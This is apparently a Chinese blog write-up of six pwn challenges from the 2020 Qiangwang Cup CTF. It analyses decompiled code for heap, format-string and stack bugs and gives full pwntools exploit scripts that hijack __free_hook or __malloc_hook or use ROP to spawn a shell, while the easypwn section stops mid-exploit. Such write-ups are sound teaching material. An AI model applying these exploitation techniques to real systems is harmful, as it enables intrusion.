zoukankan      html  css  js  c++  java
  • 2020_强网杯_pwn_复现

    0x1 direct

    程序分析

    add 函数

      my_write("Index: ");
      result = my_scanf();
      idx = result;
      if ( result <= 0xF )
      {
        result = chunk_addr[result];
        if ( !result )
        {
          my_write("Size: ");
          result = my_scanf();
          size = result;
          if ( result <= 0x100 )
          {
            addr = malloc(result);
            if ( addr )
            {
              chunk_addr[idx] = addr;
              chunk_size[idx] = size;
              result = my_write_1("Done!");
            }
            else
            {
              result = my_write_1("allocate failed");
            }
          }
        }
      }
      return result;
    

    可以分配 16 个 chunk ,并且分配的大小不超过 0x100 ,将分配 chunk 的 addr 和 size 存进对应的 bss 段数组中。

    edit 函数

      if ( opendir_flag )
      {
        my_write("Index: ");
        result = my_scanf();
        idx = result;
        if ( result <= 0xF )
        {
          result = chunk_addr[result];
          if ( result )
          {
            my_write("Offset: ");
            offset = my_scanf();
            my_write("Size: ");
            size = my_scanf();
            nbytes = size;
            write_end = offset + size;
            result = chunk_size[idx];
            if ( write_end <= (signed __int64)result )
            {
              my_write("Content: ");
              read(0, (void *)(chunk_addr[idx] + offset), nbytes);
              result = my_write_1("Done!");
            }
          }
        }
      }
    

    可以编辑 chunk 中 offset 偏移处开始的内容。

    show 函数

      my_write("Index: ");
      result = my_scanf();
      v1 = result;
      if ( result <= 0xF )
      {
        result = chunk_addr[result];
        if ( result )
        {
          free((void *)chunk_addr[v1]);
          chunk_addr[v1] = 0LL;
          result = (unsigned __int64)chunk_size;
          chunk_size[v1] = 0LL;
        }
      }
    

    菜单上写得是 show 函数,实际却是执行 free 操作,将 chunk free 掉,并将 bss 段对应数组的值置 0 。

    open_file

      if ( !opendir_flag )
      {
        dirp = opendir(".");
        if ( !dirp )
          exit(-1);
        opendir_flag = 1;
        result = my_write_1("Done!");
      }
      return result;
    

    用于打开当前目录。

    close_file

      if ( opendir_flag )
      {
        result = (unsigned __int64)readdir(dirp);
        v1 = (struct dirent *)result;
        if ( result )
        {
          my_write("Filename: ");
          result = my_write_1(v1->d_name);
        }
      }
      return result;
    

    打印当前目录的文件名。

    利用过程

    这题的漏洞在于 edit 中的 offset 可以输入负值,这样就能修改 chunk 的 size ,造成 overlap ;分配 chunk 在 dir 中的踩出 libc 地址,通过 close_file 泄露 libc ;最后 fast bin 打 free hook get shell 。

    overlap

    add(0,0x18) # 0
    add(1,0x18) # 1
    open_file() 
    add(2,0x18) # 2
    edit(0,-8,8,p64(0x8081))
    
    gdb-peda$ x /80xg 0x55a13199f250 
    0x55a13199f250: 0x0000000000000000      0x0000000000008081
    0x55a13199f260: 0x0000000000000000      0x0000000000000000
    0x55a13199f270: 0x0000000000000000      0x0000000000000021
    0x55a13199f280: 0x0000000000000000      0x0000000000000000
    0x55a13199f290: 0x0000000000000000      0x0000000000008041
    0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
    0x55a13199f2b0: 0x0000000000000000      0x0000000000000000
    0x55a13199f2c0: 0x0000000000000000      0x0000000000000000
    0x55a13199f2d0: 0x0000000000000000      0x0000000000000000
    

    修改 chunk 0 的size 为 0x8081,等后面 free 掉 chunk 0 就可以造成 overlap 。

    leak libc

    close_file()
    delete(0)
    add(10,0x18) # 10
    add(3,0x78) # 3
    add(4,0x88) # 4
    edit(4,-8,8,'b' * 8)
    close_file()
    p.recvuntil('b' * 5)
    libcbase_addr = u64(p.recv(6) + 'x00x00') + 0x7f7e842f4000 - 0x7f7e846dfca0 // libc_start_addr - main_arena+96_addr
    
    gdb-peda$ x /80xg 0x55a13199f250 
    0x55a13199f250: 0x0000000000000000      0x0000000000000021 <-- chunk 0
    0x55a13199f260: 0x00007f7e846e03f0      0x00007f7e846e03f0
    0x55a13199f270: 0x000055a13199f250      0x0000000000000081 <-- chunk 1 ; chunk 3
    0x55a13199f280: 0x00007f7e846dfca0      0x00007f7e846dfca0
    0x55a13199f290: 0x0000000000000000      0x0000000000000000
    0x55a13199f2a0: 0x0000000000000003      0x0000000000008000
    0x55a13199f2b0: 0x0000000000000150      0x000000000000627a
    0x55a13199f2c0: 0x0000000000000040      0x0000000000000000
    0x55a13199f2d0: 0x00000000ffffffff      0x0000000000000020
    0x55a13199f2e0: 0x040000002e040018      0x00000000ffffffff <-- d_name 1
    0x55a13199f2f0: 0x0000000000000040      0x6262626262626262 <-- d_name 2 ; chunk 4
    0x55a13199f300: 0x00007f7e846dfca0      0x00007f7e846dfca0
    0x55a13199f310: 0x0000000000000000      0x0000000000000000
    0x55a13199f320: 0x00000000ffffffff      0x0000000000000088
    

    运行一次 close_file , dir 中会记录当前目录的文件名或目录名。比如 0x55a13199f2e0 记录了当前目录第一个目录名 “.” ,也就是 2e ,
    0x55a13199f2f0 处记录了当前目录第二个目录名,正常应为 2e2e ,也就是 “..” 。不过这里已经使用 edit 函数覆盖为 “bbbbbbbb” ,目的是在 leak 不会因为 x00 而截断。 0x55a13199f300 处有我们通过分配 chunk 4 踩出的 main_arena 地址,这样在 my_write_1(v1->d_name) 时就能 leak 出 main_arena 地址。

    delete(1)
    edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
    add(5,0x78)
    edit(5,0,8,'/bin/shx00')
    add(6,0x78)
    edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
    delete(5)
    

    后面的步骤就简单了,从上步我们知道 chunk 1 跟 chunk 3 指向同一个 chunk ,可以当成 uaf 使用,直接 tcache chunk attack 打 free_hook 为 system 即可。

    exp

    from pwn_debug import *
    
    file_name = 'direct'
    #libc_name = ''
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so',
    '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('0.0.0.0',9997)
    p = pdbg.run('local')
    
    elf = pdbg.elf
    libc = pdbg.libc
    #elf = ELF(file_name)
    #libc = ELF(libc_name)
    
    def add(idx,size):
        p.sendlineafter('Your choice: ',str(1))
        p.sendlineafter('Index: ',str(idx))
        p.sendlineafter('Size: ',str(size))
    
    def edit(idx,offset,size,content):
        p.sendlineafter('Your choice: ',str(2))
        p.sendlineafter('Index: ',str(idx))
        p.sendlineafter('Offset: ',str(offset))
        p.sendlineafter('Size: ',str(size))
        p.sendafter('Content: ',str(content))
        
    def delete(idx):
         p.sendlineafter('Your choice: ',str(3))
         p.sendlineafter('Index: ',str(idx))
    
    def open_file():
         p.sendlineafter('Your choice: ',str(4))
    
    def close_file():
         p.sendlineafter('Your choice: ',str(5))
    
    add(0,0x18) # 0
    add(1,0x18) # 1
    open_file() # 2
    add(2,0x18)
    edit(0,-8,8,p64(0x8081))
    
    close_file()
    
    delete(0)
    add(10,0x18) # 10
    add(3,0x78) # 3
    add(4,0x88) # 4
    edit(4,-8,8,'b' * 8)
    close_file()
    
    p.recvuntil('b' * 5)
    libcbase_addr = u64(p.recv(6) + 'x00x00') + 0x7ffff79e4000-0x7ffff7dcfca0 
    
    print hex(libcbase_addr)
    
    delete(1)
    edit(3,0,8,p64(libcbase_addr + libc.symbols['__free_hook']))
    add(5,0x78)
    edit(5,0,8,'/bin/shx00')
    add(6,0x78)
    edit(6,0,8,p64(libcbase_addr + libc.symbols['system']))
    delete(5)
    
    p.interactive()
    

    ps:这题是按本机及目录环境调试的,在用 docker 复现时发现目录环境不一样导致 exp 失败,也不知道比赛时具体的环境是怎么样的...

    0x2 强网先锋 Just_a_Galgame

    程序分析

    程序有五个功能

    Send her a little gift

    if ( times_can_send_gift <= 0 )
    {
          puts("Emmm...Alright. Thank you.");
    }
    else
    {
          --times_can_send_gift;
          puts("
    Hotaru: Wow! Thanks~
    ");
          heaplist[6 - times_can_send_gift] = (__int64)malloc(0x68uLL);
          puts("[ You've hold some place in her heart! ]");
    }
    continue;
    

    分支 1 ,而可以分配 0x68 大小的 chunk ,最多能分配 7 个 chunk 。

    Invite her to go to a movie

    if ( times_can_see_movie <= 0 || times_can_send_gift > 6 )
    {
          puts("
    Hotaru: Emmm...Sorry I should go home now. Maybe the next time.
    ");
    }
    else
    {
          puts("
    Hotaru: Okay~ Let's choose a movie!
    ");
          --times_can_see_movie;
          printf("idx >> ", &buf);
          read(0, &buf, 0x10uLL);
          if ( heaplist[atoi((const char *)&buf)] )
          {
                printf("movie name >> ", &buf);
                idx = atoi((const char *)&buf);
                read(0, (void *)(heaplist[idx] + 96), 0x10uLL);
                puts("
    Hotaru: What a good movie! I like it~
    ");
                puts("[ You've gained a lot favor of her! ]");
           }
           else
           {
                puts("[ The movie is not exist. ]");
                ++times_can_see_movie;
          } 
    }
    continue;
    

    分支 2 ,可以对某个 chunk 的 96 偏移处写入 0x10 大小的内容,最多编辑 1 次。注意这里没有对 idx 检查,也就是我们可以往数组外的指针写入内容。

    Confess to her

    if ( times_to_confess <= 0 || times_can_send_gift > 6 )
    {
          puts("
    Hotaru: Sorry, I think it's better for us to be friends.
    ");
    }
    else
    {
          --times_to_confess;
          puts("You are the apple of my eyes too!");
          qword_404098 = (__int64)malloc(0x1000uLL);
          ++times_can_see_movie;
    }
    continue;
    

    分支 3 ,分配一个 0x1000 大小的 chunk ,最多分配一次 。将分支 2 编辑次数加一。

    Collection

    puts("Reciew your cgs >> ");
    while ( idx_1 <= 6 - times_can_send_gift )
    {
          printf("%d: %s
    ", (unsigned int)idx_1, heaplist[idx_1]);
          ++idx_1;
    }
    continue;
    

    分支 4 ,可以看作是 show 函数。

    Leave

    puts("
    Hotaru: Won't you stay with me for a while? QAQ
    ");
    read(0, &unk_4040A0, 8uLL);
    v7 = 8LL;
    v8 = "No bye!";
    v9 = &unk_4040A0;
    do
    {
          if ( !v7 )
                break;
          v5 = (const unsigned __int8)*v8 < *v9;
          v6 = *v8++ == *v9++;
          --v7;
    }while ( v6 );
    
    if ( (!v5 && !v6) != v5 )
    {
          puts("
    (='3'=)>daisuki~
    ");
          continue;
    }
    return 0LL;
    

    分支 5 ,如果输入的字符串为 “No bye!” 则退出。这里重点是写入的内容记录在了 unk_4040A0 处,作用留在后面讲。

    利用过程

    leak libc

    题目给了提示 house of orange ,那就先 house of orange 获得 unsorted bin chunk ,在 unsorted bin 中踩出 main_arena 地址,通过分支 4 打印出来即可。

    add()
    edit(0,'x00' * 8 + p64(0xd41))
    add_big()
    add()
    show()
    
    p.recvuntil('1: ')
    addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    
    libc_base = addr - 0x3ec2a0
    onegadget = libc_base + 0x10a45c
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    
    print 'addr:' + hex(addr)
    print 'libc_base:' + hex(libc_base)
    print 'onegadget:' + hex(onegadget)
    print 'malloc_hook:' + hex(malloc_hook)
    

    edit __malloc_hook

    leak libc 后我们可以计算出 __malloc_hook 的地址,但是我们现在就只有一次调用分支 2 的机会,要怎么将 one_gadget 写入 __malloc_hook 呢?这里要用到分支 5 中的 unk_4040A0 。先看下 bss 中的布局:

    .bss:0000000000404060 heaplist
                          ...
    .bss:0000000000404098 qword_404098
    .bss:00000000004040A0 unk_4040A0
    

    如果我们在 0x4040A0 写入 __malloc_hook - 96 的地址,通过控制分支 2 中的 idx 就可以将 one_gadget 写入 __malloc_hook 。再次调用 malloc 即可 get shell 。

    p.sendafter('>> ',str(5))
    p.sendafter("
    Hotaru: Won't you stay with me for a while? QAQ
    ",p64(malloc_hook - 96))
    
    edit(8,p64(onegadget))
    
    p.sendafter('>> ',str(1))
    

    exp

    from pwn_debug import *
    
    file_name = 'Just_a_Galgame'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
    '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('0.0.0.0',9997)
    p = pdbg.run('remote')
    
    #elf = pdbg.elf
    #libc = pdbg.libc
    elf = ELF(file_name)
    libc = ELF(libc_name)
    
    def add():
        p.sendafter('>> ',str(1))
    
    def edit(idx,name):
        p.sendafter('>> ',str(2))
        p.sendafter('idx >> ',str(idx))
        p.sendafter('movie name >> ',name)
        
    def add_big():
        p.sendafter('>> ',str(3))
    
    def exit():
        p.sendafter('>> ',str(5))
        p.sendafter("
    Hotaru: Won't you stay with me for a while? QAQ
    ",'No bye!' + 'x00')
    
    def show():
        p.sendafter('>> ',str(4))
    
    add()
    edit(0,'x00' * 8 + p64(0xd41))
    add_big()
    add()
    show()
    
    p.recvuntil('1: ')
    addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    
    libc_base = addr - 0x3ec2a0
    onegadget = libc_base + 0x10a45c
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    
    print 'addr:' + hex(addr)
    print 'libc_base:' + hex(libc_base)
    print 'onegadget:' + hex(onegadget)
    print 'malloc_hook:' + hex(malloc_hook)
    
    
    p.sendafter('>> ',str(5))
    p.sendafter("
    Hotaru: Won't you stay with me for a while? QAQ
    ",p64(malloc_hook - 96))
    
    edit(8,p64(onegadget))
    
    p.sendafter('>> ',str(1))
    
    #gdb.attach(p)
    p.interactive()
    

    0x3 强网先锋 Siri

    程序分析

    v4 = __readfsqword(0x28u);
    v2 = strstr(a1, "Remind me to ");
    if ( !v2 )
          return 0LL;
    memset(&s, 0, 0x110uLL);
    sprintf(&s, ">>> OK, I'll remind you to %s", v2 + 13);
    printf(&s);
    puts(&::s);
    return 1LL;
    

    程序存在格式化字符串漏洞,所以思路就是格式化字符串漏洞 leak stack_addr 跟 libc ,然后写返回地址为 one_gadget 即可。

    利用过程

    这里需要注意一点, &s 是用 sprintf 写入的,而 sprintf 存在 'x00' 截断。
    如果我们想要以每次修改 2 字节的方式修改 ret_addr ,那必然会有如下栈布局:

    stack_ret_addr: ret_addr
    
    stack_input_addr:                         fmtstr
    stack_input_addr + len(fmtstr):           stack_ret_addr
    stack_input_addr + len(fmtstr) + 8:       stack_ret_addr + 2
    stack_input_addr + len(fmtstr) + 16:      stack_ret_addr + 4
    

    而本题的栈地址都是 6 字节,高位两字节为 'x00' ,而 sprintf 存在 'x00' 截断,这样导致 &s 中只能写入一个地址:

    stack_input_addr:                         fmtstr
    stack_input_addr + len(fmtstr):           stack_ret_addr
    stack_input_addr + len(fmtstr) + 8:       0
    stack_input_addr + len(fmtstr) + 16:      0
    

    这给利用带来了很大的麻烦,不过 &s 虽然被截断了,可是 a1 并没有, a1 是在主函数中通过 read 输入的,也就是保存了完整的三个地址,我们在写格式化字符串时将偏移改到这三个地址即可:

    pwndbg> stack 55
    00:0000│ rsp   0x7ffc546054e0 —▸ 0x7f31c39d4170 —▸ 0x55a015ced000 ◂— 0x10102464c457f
    01:0008│       0x7ffc546054e8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
    02:0010│       0x7ffc546054f0 —▸ 0x7ffc54605700 ◂— 0x0
    03:0018│       0x7ffc546054f8 —▸ 0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
    04:0020│ rdi   0x7ffc54605500 ◂— 0x202c4b4f203e3e3e ('>>> OK, ')
    05:0028│       0x7ffc54605508 ◂— 0x6d6572206c6c2749 ("I'll rem")
    06:0030│       0x7ffc54605510 ◂— 0x20756f7920646e69 ('ind you ')
    07:0038│       0x7ffc54605518 ◂— 0x3037373325206f74 ('to %3770')
    08:0040│       0x7ffc54605520 ◂— 0x6e68243535256336 ('6c%55$hn')
    09:0048│       0x7ffc54605528 ◂— 0x2563373837373725 ('%77787c%')
    0a:0050│       0x7ffc54605530 ◂— 0x3834256e68243635 ('56$hn%48')
    0b:0058│       0x7ffc54605538 ◂— 0x2437352563333131 ('113c%57$')
    0c:0060│       0x7ffc54605540 ◂— 0x5628616161616e68 ('hnaaaa(V')
    0d:0068│       0x7ffc54605548 ◂— 0x7ffc5460                        <-- &s 中的地址
    0e:0070│       0x7ffc54605550 ◂— 0x0                               <-- 可以看到被截断了,只写入了一个地址
    ... ↓
    26:0130│       0x7ffc54605610 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
    27:0138│       0x7ffc54605618 ◂— 0x1bffca4fa2735300
    28:0140│ rbp   0x7ffc54605620 —▸ 0x7ffc54605740 —▸ 0x55a015cee4d0 ◂— push   r15
    29:0148│       0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax
    2a:0150│       0x7ffc54605630 ◂— 0x6d20646e696d6552 ('Remind m')
    2b:0158│ r8-5  0x7ffc54605638 ◂— 0x373325206f742065 ('e to %37')
    2c:0160│       0x7ffc54605640 ◂— 0x2435352563363037 ('706c%55$')
    2d:0168│       0x7ffc54605648 ◂— 0x3738373737256e68 ('hn%77787')
    2e:0170│       0x7ffc54605650 ◂— 0x256e682436352563 ('c%56$hn%')
    2f:0178│       0x7ffc54605658 ◂— 0x3525633331313834 ('48113c%5')
    30:0180│       0x7ffc54605660 ◂— 0x616161616e682437 ('7$hnaaaa')
    31:0188│       0x7ffc54605668 —▸ 0x7ffc54605628 —▸ 0x55a015cee44c ◂— test   eax, eax <-- a1 中的三个地址 
    32:0190│       0x7ffc54605670 —▸ 0x7ffc5460562a ◂— 0x6552000055a015ce
    33:0198│       0x7ffc54605678 —▸ 0x7ffc5460562c ◂— 0x696d6552000055a0
    34:01a0│       0x7ffc54605680 ◂— 0x0
    
    

    exp

    from pwn_debug import *
     
    file_name = 'Siri'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    pdbg = pwn_debug(file_name)
    pdbg.local('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so',
    '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-linux-x86-64.so.2')
    pdbg.remote('0.0.0.0',9997)
    p = pdbg.run('remote')
    
    #elf = pdbg.elf
    #libc = pdbg.libc
    elf = ELF(file_name)
    libc = ELF(libc_name)
    
    p.sendlineafter('>>> ','Hey Siri!')
    
    p.sendlineafter('>>> What Can I do for you?','Remind me to aaaa%46$lx,bbbb%83$lx')
    p.recvuntil('aaaa')
    stack_addr = int(p.recv(12),16)
    p.recvuntil('bbbb')
    libc_start_main_231 = int(p.recv(12),16)
    
    print hex(stack_addr)
    print hex(libc_start_main_231)
    
    libc_base = libc_start_main_231 - 231 - libc.symbols['__libc_start_main']
    one_gadget = [0x4f365,0x4f3c2,0x10a45c]
    onegadget = libc_base + one_gadget[0]
    ret_addr = stack_addr - 0x118
    
    print 'onegadget:' + hex(onegadget)
    print 'ret_addr:' + hex(ret_addr)
    print 'libc_base:' + hex(libc_base)
    
    a1 = onegadget % (16 ** 4)
    a2 = (onegadget / (16**4)) % (16**4)
    a3 = onegadget / (16**8) 
    
    print '' + hex(a1) + ',' + hex(a2) + ',' + hex(a3)
    
    payload = 'Remind me to '
    payload += '%'
    payload += str(a1 - 27)
    payload += 'c%55$hn'
    payload += '%'
    payload += str(0x10000 + a2 - a1)
    payload += 'c%56$hn'
    payload += '%'
    payload += str(0x10000 + a3 - a2)
    payload += 'c%57$hn'
    payload = payload.ljust(0x38,'a')
    payload += p64(ret_addr)
    payload += p64(ret_addr + 2)
    payload += p64(ret_addr + 4)
    
    
    payload1 = 'Remind me to aaa' + fmtstr_payload(50,{ret_addr:onegadget},30,'short')
    
    
    p.sendlineafter('>>> ','Hey Siri!')
    
    #gdb.attach(p)
    
    p.sendafter('>>> What Can I do for you?',payload)
    
    
    #gdb.attach(p)
    p.interactive()
    
    

    0x4 强网先锋 babymessage

    程序分析

    分支 1 能向 bss 段中写入 4 字节数据。

    puts("name: ");
    name[(signed int)read(0, name, 4uLL)] = 0;
    puts("done!
    ");
    

    分支 2

    puts("message: ");
    v1 = read(0, &v3, a1);
    strncpy(buf, (const char *)&v3, v1);
    buf[v1] = 0;
    puts("done!
    ");
    

    分支 2 能向栈中写入 a1 大小的数据。

    message_size    = dword ptr -4
    
    .text:0000000000400980                 cmp     eax, 2
    .text:0000000000400983                 jnz     short loc_4009A1
    .text:0000000000400985                 cmp     [rbp+message_size], 100h
    .text:000000000040098C                 jle     short loc_400995
    .text:000000000040098E                 mov     [rbp+message_size], 100h
    

    如果 message_size 大于等于 256 ,则取 256 。

    利用过程

    栈溢出长度不够,只能溢出到 rbp ,我们要想办法让 message_size >= 256 ,这样我们就可以往栈上输入 256 字节的内容。 message_size 在栈上 rbp - 4 处。我们可以通过分支 1 往 bss 段输入一个大于 256 的值,然后通过覆盖 rbp 为输入值地址 + 4 ,这样就能绕过判断,使得我们可以往栈上输入 256 字节,后面就是常规的 rop 即可。

    exp

    from pwn import *
    
    file_name = './babymessage'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so'
    
    context.binary = file_name
    context.log_level = 'debug'
    context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    p = remote('0.0.0.0',9997)
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    libc = ELF('/home/ki/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so')
    #libc = elf.libc
    
    name = 0x6010D0
    pop_rdi = 0x400ac3
    start = 0x4006E0
    ret = 0x400646
    
    p.sendlineafter('choice: ','1')
    p.sendafter('name: ',p32(0x1000))
    p.sendlineafter('choice: ','2')
    p.sendafter('message: ','a' * 8 + p64(name + 4))
    
    payload = 'a' * 16 + flat([pop_rdi,elf.got['puts']],elf.plt['puts'],p64(start))
    
    p.sendlineafter('choice: ','2')
    p.sendafter('message: ',payload)
    
    puts_addr = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
    libc_base = puts_addr - libc.symbols['puts']
    system = libc_base + libc.symbols['system']
    binsh = libc_base + libc.search('/bin/shx00').next()
    #one_gadget = [0x4f365,0x4f3c2,0x10a45c]
    #onegadget = libc_base + 0x10a45c
    
    p.sendlineafter('choice: ','1')
    p.sendafter('name: ',p32(0x1000))
    p.sendlineafter('choice: ','2')
    p.sendafter('message: ','a' * 8 + p64(name + 4))
    
    payload = 'a' * 16 + flat([ret,pop_rdi,binsh,system]) #加个 ret 使得靶机栈对齐
    #payload = 'a' * 16 + p64(onegadget)
    
    p.sendlineafter('choice: ','2')
    p.sendafter('message: ',payload)
    
    p.interactive()
    

    0x5 强网先锋 babybnotes

    程序分析

    memset(&s, 0, 0x50uLL);
    motto_addr = (char *)malloc(0x100uLL);
    name_addr = (char *)malloc(0x18uLL);
    puts("Input your name: ");
    if ( (unsigned int)read(0, &s, 0x18uLL) == -1 )
          exit(0);
    puts("Input your motto: ");
    if ( (unsigned int)read(0, &v3, 0x20uLL) == -1 )
          exit(0);
    puts("Input your age: ");
    __isoc99_scanf("%lld", &v2);
    strcpy(name_addr, &s);
    strncpy(motto_addr, (const char *)&v3, 0x20uLL);
    age = v2;
    

    程序漏洞出现在 regist 函数中,如果我们将 name 输入 16 个字节,那么 strcpy 就会将 age 的值也赋值到 name_addr 中,类似于 off-by-one 。我们可以利用这点造 overlap 。

    程序利用

    思路很简单, 造 unsorted bin 来 leak libc ,然后造 overlap ,通过 fastbin attack 打 malloc_hook 拿 shell 。

    add(0,0x100) # 0
    add(1,0x60) # 1
    delete(0)
    add(0,0x100) # 0
    show(0)
    
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - 0x3c4b78
    one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
    onegadget = libc_base + one_gadget[3]
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    
    print 'libc_base :' + hex(libc_base)
    print 'onegadget :' + hex(onegadget)
    

    分配一个 unsorted bin chunk ,然后通过 show 函数来泄露 libc 。

    delete(0)
    delete(1)
    add(4,0x60)
    add(5,0x100)
    
    add(0,0x18) # 0
    add(1,0x30) # 1
    add(2,0x60) # 2
    add(3,0x20) # 3
    
    edit(2,'x00' * 0x18  + p64(0x30)) # 绕过 malloc(): memory corruption (fast)
    delete(0)
    delete(2)
    
    rest('a' * 0x18,'aaaa',0x61) # 改 size 造 overlap
    delete(1)
    

    布置对应的环境,使得满足 free 时的检测,然后通过 regist 函数中的 of-by-one ,将 chunk 1 的 size 改大,然后 free 掉,这样我们再次分配回改大的 chunk 时就可以通过 edit 控制 chunk 2 的 fd 指针。

    add(0,0x50)
    edit(0,'x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))
    
    add(1,0x60)
    add(2,0x60)
    edit(2,'a' * 0x13 + p64(onegadget))
    delete(0)
    
    p.sendlineafter('>> ','1')
    p.sendlineafter('Input index: ',str(0))
    p.sendlineafter('Input note size: ',str(0x60))
    

    fastbin attack ,分配到 malloc_hook 附近的块,然后通过 edit 修改 malloc_hook 为 onegadget ,再次调用 malloc 即可。

    exp

    from pwn import *
    
    file_name = './babynotes'
    libc_name = '/home/ki/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6'
    
    context.binary = file_name
    context.log_level = 'debug'
    #context.terminal = ['./hyperpwn/hyperpwn-client.sh']
    
    #p = process(file_name)
    p = remote('0.0.0.0',9997)
    #p = process('./idaidg/linux_server64')
    elf = ELF(file_name)
    
    #libc = elf.libc
    libc = ELF(libc_name)
    
    def add(idx,size):
        p.sendlineafter('>> ','1')
        p.sendlineafter('Input index: ',str(idx))
        p.sendlineafter('Input note size: ',str(size))
    
    def show(idx):
        p.sendlineafter('>> ','2')
        p.sendlineafter('Input index: ',str(idx))
    
    def delete(idx):
        p.sendlineafter('>> ','3')
        p.sendlineafter('Input index: ',str(idx))
    
    def edit(idx,notes):
        p.sendlineafter('>> ','4')
        p.sendlineafter('Input index: ',str(idx))
        p.sendafter('Input your note: ',notes)
    
    def rest(name,motto,age):
        p.sendlineafter('>> ','5')
        p.sendafter('Input your name: ',name)
        p.sendafter('Input your motto: ',motto)
        p.sendlineafter('Input your age: ',str(age))
    
    p.sendafter('Input your name: ','jkl')
    p.sendafter('Input your motto: ','aaaa')
    p.sendlineafter('Input your age: ',str(0x18))
    
    add(0,0x100) # 0
    add(1,0x60) # 1
    delete(0)
    add(0,0x100) # 0
    show(0)
    
    libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) - 0x3c4b78
    one_gadget = [0x45226,0x4527a,0xf0364,0xf1207]
    onegadget = libc_base + one_gadget[3]
    malloc_hook = libc_base + libc.symbols['__malloc_hook']
    
    print 'libc_base :' + hex(libc_base)
    print 'onegadget :' + hex(onegadget)
    
    delete(0)
    delete(1)
    add(4,0x60)
    add(5,0x100)
    
    add(0,0x18) # 0
    add(1,0x30) # 1
    add(2,0x60) # 2
    add(3,0x20) # 3
    
    edit(2,'x00' * 0x18  + p64(0x30))
    delete(0)
    delete(2)
    
    rest('a' * 0x18,'aaaa',0x61)
    delete(1)
    
    add(0,0x50)
    edit(0,'x00' * 0x38 + p64(0x71) + p64(malloc_hook - 0x23))
    
    add(1,0x60)
    add(2,0x60)
    edit(2,'a' * 0x13 + p64(onegadget))
    delete(0)
    
    p.sendlineafter('>> ','1')
    p.sendlineafter('Input index: ',str(0))
    p.sendlineafter('Input note size: ',str(0x60))
    
    
    #gdb.attach(p)
    p.interactive()
    
    
    

    0x6 easypwn

    程序分析

    for ( i = -1; ; *(_BYTE *)(addr + i) = buf )
    {
          v5 = i;
          if ( i + 1 >= (unsigned int)(size + 1) )
          break;
          if ( size - 1 == v5 )
         {
                buf = 0;
                *(_BYTE *)(addr + ++i) = 0;
                return __readfsqword(0x28u) ^ v6;
         }
          if ( (signed int)read(0, &buf, 1uLL) <= 0 )
          exit(-1);
          if ( buf == 10 )
          return __readfsqword(0x28u) ^ v6;
          ++i;
    }
    return __readfsqword(0x28u) ^ v6;
    

    程序漏洞出现在输入函数,存在 off-by-null 漏洞。同时程序没有 show 函数,需要想办法 leak libc 。

    if ( !mallopt(1, 0) )
          exit(-1);
    

    程序还关闭了 fastbin ,对我们的利用造成不便。

    利用过程

    思路就是首先通过 off-by-null 造 overlap ,然后通过 unsorted bin attack 修改 global_max_fast 为一个较大的值。通过猜测一位来爆破 stdout ,利用 stdout leak libc ,最后 fast bin attack 打 malloc_hook 即可。

    add(0x68) # 0
    add(0x68) # 1
    add(0x68) # 2
    add(0x68) # 3
    add(0xf8) # 4
    add(0x68) # 5
    add(0x18) # 6
    add(0x18) # 7
    delete(0)
    edit(3,'a' * 0x60 + p64(0x1c0))
    delete(6)
    delete(4)
    

    构造 7 个 chunk ,在 chunk 4 中 伪造 prev_size ,然后通过 off-by-null 将 inuse 位置 0 ,这样 free chunk 4 就能得到前五个 chunk 合并的大 chunk ,造成了 overlap 。

    add(0x68)#0
    add(0x68)#4
    add(0x68)#6
    edit(3,"a"*8+"xe8x37
    ")
    add(0x168)
    

    unsorted bin attack 将 global_max_fast 修改为较大的值,这里是直接猜测的地址,爆破概率 1/16 。

    delete(2)
    delete(1)
    edit(4,"x00
    ")
    edit(0,"xddx25
    ")
    add(0x68)#1
    add(0x68)#2
    add(0x68)#9
    edit(9,"x00"*3+p64(0)*6+p64(0xfbad1800) + p64(0)*3 + "x00
    ")
    p.recvuntil("x7fx00x00")
    addr=u64(p.recv(8))+0x7ffff7a0d000-0x7ffff7dd26a3
    print hex(addr)
    

